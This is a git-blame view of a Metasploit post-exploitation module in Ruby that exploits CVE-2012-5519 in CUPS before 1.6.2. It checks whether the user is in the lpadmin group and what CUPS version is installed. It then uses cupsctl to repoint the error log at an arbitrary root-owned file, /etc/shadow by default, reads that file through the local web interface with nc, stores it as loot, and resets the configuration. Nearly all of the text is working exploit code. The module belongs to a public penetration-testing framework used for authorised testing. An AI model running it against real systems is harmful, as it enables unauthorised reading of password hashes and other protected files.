Files
metasploit-gs/modules/post/multi/escalate/cups_root_file_read.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

176 lines
5.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-09-06 10:13:38 -05:00
include Msf::Post::File
LP_GROUPS = ['lpadmin', '_lpadmin']
attr_accessor :web_server_was_disabled, :error_log_was_reset
2023-02-08 13:47:34 +00:00
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'CUPS 1.6.1 Root File Read',
'Description' => %q{
This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.
CUPS allows members of the lpadmin group to make changes to the cupsd.conf
configuration, which can specify an Error Log path. When the user visits the
Error Log page in the web interface, the cupsd daemon (running with setuid root)
reads the Error Log path and echoes it as plaintext.
This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4
as long as the session is in the lpadmin group.
Warning: if the user has set up a custom path to the CUPS error log,
this module might fail to reset that path correctly. You can specify
a custom error log path with the ERROR_LOG datastore option.
},
'References' => [
['CVE', '2012-5519'],
['OSVDB', '87635'],
['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791']
],
'License' => MSF_LICENSE,
'Author' => [
'Jann Horn', # discovery
'joev' # metasploit module
],
'DisclosureDate' => '2012-11-20',
'Platform' => %w[linux osx]
}
2013-09-06 10:13:38 -05:00
)
2023-02-08 13:47:34 +00:00
)
register_options([
OptString.new('FILE', [true, 'The file to steal.', '/etc/shadow']),
OptString.new('ERROR_LOG',
[true, 'The original path to the CUPS error log', '/var/log/cups/error_log'])
])
2013-09-06 10:13:38 -05:00
end
def check_exploitability
2023-02-08 13:47:34 +00:00
user = cmd_exec('whoami')
2013-09-06 10:13:38 -05:00
user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/)
if (user_groups & LP_GROUPS).empty?
2023-02-08 13:47:34 +00:00
print_error 'User not in lpadmin group.'
2013-09-06 10:13:38 -05:00
return Msf::Exploit::CheckCode::Safe
else
2023-02-08 13:47:34 +00:00
print_good 'User in lpadmin group, continuing...'
2013-09-06 10:13:38 -05:00
end
if ctl_path.blank?
2023-02-08 13:47:34 +00:00
print_error 'cupsctl binary not found in $PATH'
2013-09-06 10:13:38 -05:00
return Msf::Exploit::CheckCode::Safe
else
2023-02-08 13:47:34 +00:00
print_good 'cupsctl binary found in $PATH'
2013-09-06 10:13:38 -05:00
end
2023-02-08 13:47:34 +00:00
nc_path = whereis('nc')
if nc_path.nil? || nc_path.blank?
print_error 'Could not find nc executable'
2013-09-06 10:13:38 -05:00
return Msf::Exploit::CheckCode::Unknown
else
2023-02-08 13:47:34 +00:00
print_good 'nc binary found in $PATH'
2013-09-06 10:13:38 -05:00
end
2023-02-08 13:47:34 +00:00
config_path = whereis('cups-config')
2013-09-06 10:13:38 -05:00
config_vn = nil
2023-02-08 13:47:34 +00:00
if config_path.nil? || config_path.blank?
2013-09-06 10:13:38 -05:00
# cups-config not present, ask the web interface what vn it is
output = get_request('/')
2023-02-08 13:47:34 +00:00
if output =~ /title.*CUPS\s+([\d.]+)/i
config_vn = ::Regexp.last_match(1).strip
2013-09-06 10:13:38 -05:00
end
else
2023-02-08 13:47:34 +00:00
config_vn = cmd_exec('cups-config --version').strip # use cups-config if installed
2013-09-06 10:13:38 -05:00
end
2013-09-06 10:11:06 -05:00
if config_vn.nil?
2023-02-08 13:47:34 +00:00
print_error 'Could not determine CUPS version.'
2013-09-06 10:11:06 -05:00
return Msf::Exploit::CheckCode::Unknown
end
2013-09-06 10:21:18 -05:00
print_status "Found CUPS #{config_vn}"
2013-09-06 10:13:38 -05:00
config_parts = config_vn.split('.')
2023-02-08 13:47:34 +00:00
if (config_vn.to_f < 1.6) || ((config_vn.to_f <= 1.6) && (config_parts[2].to_i < 2)) # <1.6.2
2013-09-06 10:13:38 -05:00
Msf::Exploit::CheckCode::Vulnerable
else
Msf::Exploit::CheckCode::Safe
end
end
def run
if check_exploitability == Msf::Exploit::CheckCode::Safe
2023-02-08 13:47:34 +00:00
print_error 'Target machine not vulnerable, bailing.'
2013-09-06 10:13:38 -05:00
return
end
defaults = cmd_exec(ctl_path)
@web_server_was_disabled = defaults =~ /^WebInterface=no$/i
# first we set the error log to the path intended
cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}")
cmd_exec("#{ctl_path} WebInterface=yes")
@error_log_was_reset = true
# now we go grab it from the ErrorLog route
file = strip_http_headers(get_request('/admin/log/error_log'))
# and store as loot
f = File.basename(datastore['FILE'])
loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f)
print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}")
end
def cleanup
2023-02-08 13:47:34 +00:00
print_status 'Cleaning up...'
2013-09-06 10:13:38 -05:00
cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled
cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset
super
end
private
2014-12-11 23:30:20 +01:00
def prev_error_log_path
datastore['ERROR_LOG']
end
def ctl_path
2023-02-08 13:47:34 +00:00
@ctl_path ||= whereis('cupsctl')
2014-12-11 23:30:20 +01:00
end
def strip_http_headers(http)
http.gsub(/\A(^.*\r\n)*/, '')
end
2013-09-06 10:13:38 -05:00
def whereis(exe)
line = cmd_exec("whereis #{exe}")
if line =~ /^\S+:\s*(\S*)/i
2023-02-08 13:47:34 +00:00
::Regexp.last_match(1) # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl"
2013-09-06 10:13:38 -05:00
else
line # on osx it just returns '/usr/sbin/cupsctl'
end
end
def get_request(uri)
output = perform_request(uri, 'nc -j localhost 631')
2018-12-18 17:38:33 -06:00
if output =~ /^(?:usage: nc|nc: invalid option -- 'j')/
2013-09-06 10:13:38 -05:00
output = perform_request(uri, 'nc localhost 631')
end
output
end
def perform_request(uri, nc_str)
# osx requires 3 newlines!
cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' '))
end
end